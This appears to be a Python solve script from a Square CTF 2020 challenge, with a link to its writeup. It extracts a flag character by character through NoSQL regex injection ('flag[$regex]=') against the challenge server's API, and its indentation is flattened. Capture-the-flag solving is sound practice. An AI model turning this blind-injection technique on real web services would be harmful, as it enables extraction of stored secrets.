```
import requests,string

flag = "fl"

l_lower = string.ascii_lowercase
l_upper = string.ascii_uppercase
l_total = l_lower + l_upper + "0123456789}{"

while True:
for char in l_total:
url = "http://challenges.2020.squarectf.com:9542/api/posts?flag[$regex]={}{}&title=flag".format(flag,char)
req = requests.get(url)
if "flag" in req.content:
flag += str(char)
print "Flag is : {}".format(flag)
if char == "}":
exit(0)
break
```

Original writeup (https://github.com/dianguc38/CTF/blob/master/square-CTF-2020/Deep-web/solve.py).